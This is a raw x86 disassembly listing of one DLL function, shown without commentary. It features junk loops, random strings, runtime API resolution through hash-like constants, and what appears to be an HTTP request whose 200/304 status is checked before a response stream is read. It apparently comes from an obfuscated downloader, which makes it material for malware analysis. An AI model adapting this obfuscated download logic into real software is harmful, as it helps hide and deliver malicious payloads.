mov dword [ebp + eax*4 - 0x15c], 0x9be1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10003aff
mov dword [ebp - 0x18], 0x5add
cmp dword [ebp - 0x18], 0x5be7
jle 0x10003b83
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x1c], 0x6260
mov eax, edi
lea ecx, [ebp - 0x460]
cdq
push edx
push eax
call fcn.10001a55
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10003b4b
mov eax, dword [eax]
push eax
call fcn.10047e1c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x460]
call fcn.10004d0a
add edi, esi
dec dword [ebp - 0x1c]
jne 0x10003b31
inc esi
cmp esi, 0x5f94
jl 0x10003b28
push 0x9fe
push 0xce
push ebx
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [ebp - 0x14], ebx
jmp 0x10003b9b
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2b0]
mov dword [eax + ecx*4], 0x7520
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10003b88
cmp dword [ebp - 0x18], 0x59dd
jge 0x10003bb5
push str.onrsd_vhmq_sqvi_qajpm_tqbth_cnhluixi_exlbtvdvq_homnunh_sxoyuhvu_oea_zga_ckgldkqh_oixdbfxe_qobuwlbq
call fcn.10047e1c
pop ecx
mov dword [ebp - 4], 0x19
cmp dword [ebp - 0x20], ebx
je 0x10003be5
push 1
call fcn.10002495
pop ecx
push 1
sub esp, 0xc
mov edx, 0x1179
mov ecx, 0x6763
call fcn.1000255d
add esp, 0x10
jmp 0x10003ca3
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x20], ebx
jmp 0x10003c99
mov dword [ebp - 0x18], 0xf2887cf2
mov dword [ebp - 0x2c], 0xccae
mov dword [ebp - 0x18], 1
cmp dword [ebp - 0x18], ebx
jl 0x10003c96
push ecx
mov dword [ebp - 0x14], 0xfc2285fa
mov dl, 1
push ecx
call fcn.1000259c
mov dword [ebp - 0x14], 1
pop ecx
pop ecx
cmp dword [ebp - 0x14], ebx
jl 0x10003c8d
mov dword [ebp - 0x1c], 5
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x15c], ebx
jne 0x10003c67
cmp dword [ebp - 0x2c], ebx
je 0x10003c47
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x15c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x15c]
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x218]
push 1
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x40]
push ecx
push eax
push ecx
mov ecx, 0x7e51
call fcn.10002821
add esp, 0x10
dec dword [ebp - 0x14]
jns 0x10003c2c
dec dword [ebp - 0x18]
jns 0x10003c0e
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 1
jle 0x10003bf0
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x158]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x2b0]
setg cl
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
cmp dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x20]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
sub ecx, dword [ebp - 0x40]
je 0x10003ce7
cmp dword [ebp - 0x15c], ebx
je 0x10003ce7
mov eax, dword [ebp - 0x158]
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x40]
add ecx, 0x883eb999
cmp ecx, eax
lea ecx, [ebp - 0x2b0]
sete dl
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
inc eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 0x18
call fcn.1000489d
xor eax, eax
mov dword [ebp - 0x240], 7
mov word [ebp - 0x254], ax
lea ecx, [ebp - 0x254]
lea eax, [ebp - 0x518]
mov dword [ebp - 0x244], ebx
push eax
call fcn.10004d4e
push 2
lea ecx, [ebp - 0x28c]
mov byte [ebp - 4], 0x1c
call fcn.10004840
push 1
push ecx
lea eax, [ebp - 0x28c]
mov byte [ebp - 4], 0x1d
push eax
push ecx
push ecx
mov dword [ebp - 0x18], 0x4a18885c
lea edx, [ebp - 0x2bc]
mov ecx, 0x338a
call fcn.10001d99
xor eax, eax
mov dword [ebp - 0x18], ebx
add esp, 0x14
inc eax
jmp 0x10003dfe
mov dword [ebp - 0x1c], 0xfd94fe5f
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jl 0x10003dfb
mov dword [ebp - 0x20], 0xe9323d1b
mov dword [ebp - 0x20], ebx
jmp 0x10003df1
mov dword [ebp - 0x14], 0xcbcef054
mov dword [ebp - 0x14], ebx
jmp 0x10003de9
lea ecx, [ebp - 0x28c]
mov dword [ebp - 0x20c], 0x3e38693
push ecx
lea ecx, [ebp - 0x20c]
mov dl, al
push ecx
push 0x1d98
call fcn.1000272e
add esp, 0xc
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jle 0x10003dbc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jle 0x10003db0
dec dword [ebp - 0x1c]
jns 0x10003da4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x10003d95
lea ecx, [ebp - 0x28c]
mov byte [ebp - 4], 0x1c
call fcn.1000489d
push 0x13
pop ecx
xor eax, eax
lea edi, [ebp - 0x518]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x160], 0x39924432
mov dword [ebp - 0x2c], 0x31f145ba
mov dword [ebp - 0x18], ebx
jmp 0x10003e48
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1e4], 0x64a6847d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10003e37
mov dword [ebp - 0x1e4], ebx
jmp 0x10003e73
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x10003e6d
push ecx
xor dl, dl
mov ecx, 0x624
call fcn.10002255
pop ecx
dec dword [ebp - 0x1e4]
cmp dword [ebp - 0x1e4], 0xfffffffa
jle 0x10003e56
lea eax, [ebp - 0x160]
mov edx, 0x6e99
push eax
push 1
mov ecx, 0x30ec
call fcn.1000283b
cmp dword [ebp - 0x26c], 8
lea eax, [ebp - 0x280]
pop ecx
cmovae eax, dword [ebp - 0x280]
mov esi, 0x11ac9
pop ecx
lea ecx, [ebp - 0x380]
mov edi, 0x176a6
push ecx
push eax
push esi
push edi
call fcn.1003ec50
pop ecx
pop ecx
call eax
test eax, eax
jne 0x10004468
cmp dword [ebp - 0x240], 8
lea ecx, [ebp - 0x390]
push ecx
lea eax, [ebp - 0x254]
cmovae eax, dword [ebp - 0x254]
push eax
push esi
push edi
call fcn.1003ec50
pop ecx
pop ecx
call eax
test eax, eax
jne 0x10004468
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x380]
push eax
push 3
push ebx
lea eax, [ebp - 0x390]
push eax
push esi
push 0xfe85
call fcn.1003ec50
pop ecx
pop ecx
call eax
test eax, eax
js 0x10004468
cmp dword [ebp - 0x34], 0
je 0x10004468
push ebx
push ecx
push 0x5d32
push ecx
mov edx, 0x1bb6
lea ecx, [ebp - 0x358]
call fcn.10002821
add esp, 0x10
mov word [ebp - 0x68], 0x1f01
xor eax, eax
mov byte [ebp - 0x66], bl
mov word [ebp - 0x350], ax
mov dword [ebp - 0x65], 0x3f640422
push 0x65
pop eax
mov dword [ebp - 0x61], 0x3302453f
mov word [ebp - 0x17e], ax
mov dword [ebp - 0x1c], 0x54a8
cmp dword [ebp - 0x1c], 0x5838
jle 0x10003fd0
mov esi, ebx
mov edi, ebx
mov eax, edi
lea ecx, [ebp - 0x418]
or eax, esi
cdq
push edx
push eax
call fcn.10001a55
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10003fa9
mov eax, dword [eax]
push eax
call fcn.10047e1c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x418]
call fcn.10004d0a
inc edi
cmp edi, 0x44e6
jl 0x10003f8d
inc esi
cmp esi, 0x245f
jl 0x10003f8b
push 2
mov ecx, ebx
pop esi
mov dword [ebp - 0x178], ecx
cmp esi, 4
jne 0x10003fee
push 5
pop ecx
push 7
mov dword [ebp - 0x178], ecx
pop esi
jmp 0x10004045
movzx edx, byte [ebp + esi - 0x67]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x6a]
movzx eax, word [ebp + eax*2 - 0x180]
mov ecx, eax
and eax, edx
or ecx, edx
mov edx, 0x3713
sub ecx, eax
movzx eax, byte [ebp + esi - 0x68]
push ecx
push 0x34b9
mov word [ebp + eax*2 - 0x180], cx
lea eax, [ebp - 0x178]
push eax
push ebx
push ecx
push 0x2fac
mov ecx, 0x430e
call fcn.100028c5
mov ecx, dword [ebp - 0x178]
add esp, 0x18
add esi, 2
cmp esi, 0xb
jb 0x10003fdb
cmp dword [ebp - 0x1c], 0x520d
jge 0x10004061
push str.pylfi_fifw_vabbfeiz_diltkn_mrxvqnp
call fcn.10047e1c
pop ecx
mov dword [ebp - 4], 0x1c
lea ecx, [ebp - 0x1c0]
xor eax, eax
mov dword [ebp - 0x1ac], 7
mov word [ebp - 0x17a], ax
mov word [ebp - 0x1c0], ax
lea eax, [ebp - 0x180]
push eax
mov dword [ebp - 0x1b0], ebx
call fcn.10004d4e
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x1c0]
cmp dword [ebp - 0x1ac], 8
mov eax, dword [ebp - 0x1b0]
cmovae ecx, dword [ebp - 0x1c0]
push dword [ebp + 0x10]
mov dword [ebp - 0x180], ebx
mov dword [ebp - 0x17c], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x1f4], ebx
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x1f0], ebx
cmovae ecx, dword [ebp - 0x1c0]
push eax
push ecx
lea ecx, [ebp - 0x1f4]
mov dword [ebp - 0x1ec], ebx
call fcn.100073b2
lea eax, [ebp - 0x1f4]
mov byte [ebp - 4], 0x21
push eax
push 1
push ecx
mov edx, 0x24ad
call fcn.1000293f
mov edx, dword [ebp - 0x1a4]
add esp, 0xc
cmp dword [edx + 0x14], 8
jb 0x10004121
mov ecx, dword [edx]
jmp 0x10004123
mov ecx, edx
cmp dword [edx + 0x14], 8
mov eax, dword [edx + 0x10]
lea eax, [ecx + eax*2]
jb 0x10004131
mov edx, dword [edx]
push dword [ebp + 0x10]
lea ecx, [ebp - 0x1cc]
mov dword [ebp - 0x1cc], ebx
push eax
push edx
mov dword [ebp - 0x1c8], ebx
mov dword [ebp - 0x1c4], ebx
call fcn.100073b2
push 0x71a8
lea eax, [ebp - 0x1cc]
mov byte [ebp - 4], 0x22
push 0x5e11
push eax
xor dl, dl
call fcn.1000272e
mov eax, dword [ebp - 0x34]
lea esi, [ebp - 0x2d0]
cmp dword [ebp - 0x1ac], 8
lea edx, [ebp - 0x1c0]
cmovae edx, dword [ebp - 0x1c0]
mov ecx, dword [eax]
push ecx
mov edi, esp
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x2d0]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x358]
push dword [ebp - 0x1cc]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x10004427
mov esi, dword [ebp - 0x18c]
mov cl, 1
mov dword [ebp - 0x164], ebx
cmp esi, dword [ebp - 0x188]
je 0x10004226
add esi, 0x18
test cl, cl
je 0x1000420e
cmp dword [esi + 0x14], 8
jb 0x100041ed
mov edi, dword [esi]
jmp 0x100041ef
mov edi, esi
cmp dword [esi - 4], 8
jb 0x100041fa
mov edx, dword [esi - 0x18]
jmp 0x100041fd
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x34]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x10004210
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x188]
jne 0x100041df
test cl, cl
je 0x10004427
mov eax, dword [ebp - 0x34]
lea esi, [ebp - 0x2d0]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x10004427
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x164]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x10004427
cmp dword [ebp - 0x164], 0x130
je 0x1000427a
cmp dword [ebp - 0x164], 0xc8
jne 0x10004427
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x3a0]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x10004427
mov ecx, dword [ebp - 0x398]
mov dword [ebp - 0x16c], ecx
test ecx, ecx
je 0x10004427
mov eax, dword [ecx]
lea edx, [ebp - 0x560]
push 1
push edx
push ecx
call dword [eax + 0x30]
test eax, eax
js 0x1000441a
mov dword [ebp - 0x1c], 0x7aa7
cmp dword [ebp - 0x1c], 0x7c0d
jle 0x10004307
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x160], ebx
lea eax, [esi + edi]
mov ecx, 0x1007cb98
and eax, ebx
cdq
push edx
push eax
call fcn.10004616
inc ebx
cmp ebx, 0x54db
jl 0x100042d7
inc esi
push 0
pop ebx
cmp esi, 0x700c
jl 0x100042d1
inc edi
cmp edi, 0x14b8
jl 0x100042cf
mov esi, dword [ebp - 0x558]
mov eax, dword [ebp - 0x554]
mov byte [ebp - 4], 0x23
cmp dword [ebp - 0x1c], 0x77ea
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], eax
jge 0x10004335
mov edx, str.fol_pvqnztirv_txknlfggs_iebcpkg_cue_kxbz_xliu
mov ecx, 0x1007cb98
call fcn.10006a66
mov dword [ebp - 4], 0x22
mov eax, dword [ebp - 0x198]
lea ecx, [ebp - 0x41]
push ecx
push esi
push eax
mov dword [ebp - 0x194], eax
lea ecx, [ebp - 0x198]
lea eax, [ebp - 0x32c]
mov byte [ebp - 0x41], bl
push eax
call fcn.10005bbe
mov edx, esi
mov dword [ebp - 0x174], ebx
mov edi, ebx
mov dword [ebp - 0x1a0], edx
mov ebx, dword [ebp - 0x16c]
mov ecx, dword [ebx]
lea ebx, [ebp - 0x174]
mov eax, dword [ebp - 0x198]
push ebx
mov ebx, dword [ebp - 0x16c]
add eax, edi
push edx
push eax
push ebx
call dword [ecx + 0xc]
test eax, eax
js 0x10004404
add edi, dword [ebp - 0x174]
lea eax, [ebp - 0x174]
push eax
push 0x6eec
push ecx
push ecx
push 0x4474
push 0x400f
push 1
lea edx, [ebp - 0x1a0]
mov ecx, 0x713c
call fcn.10001ea1
add esp, 0x1c
cmp edi, esi
jae 0x10004406
mov edx, dword [ebp - 0x1a0]
jmp 0x10004379
cmp edi, esi
push 0
pop ebx
je 0x1000441a
push ecx
mov dl, 1
lea ecx, [ebp - 0x198]
call fcn.10002255
pop ecx
push ebx
lea ecx, [ebp - 0x16c]
call fcn.100021f2
pop ecx
push ecx
push 1
sub esp, 0xc
lea ecx, [ebp - 0x34]
call fcn.10002981
add esp, 0x14
mov dword [ebp - 0x34], ebx
lea ecx, [ebp - 0x1cc]
call fcn.10004f46
lea ecx, [ebp - 0x1f4]
call fcn.10004f46
push ebx
push 1
lea ecx, [ebp - 0x1c0]
mov byte [ebp - 4], 0x1c
call fcn.10004dd6
mov esi, 0x11ac9
push esi
push 0x113b8
call fcn.1003ec50
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x208]
lea eax, [ebp - 0x198]
push eax
call fcn.10004920
push ebx
push 1
lea ecx, [ebp - 0x254]
call fcn.10004dd6
push ebx
push 1
lea ecx, [ebp - 0x280]
call fcn.10004dd6
lea ecx, [ebp - 0x18c]
call fcn.10004e52
lea ecx, [ebp - 0x198]
call fcn.10004ed0
lea ecx, [ebp + 8]
call fcn.10004e52
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret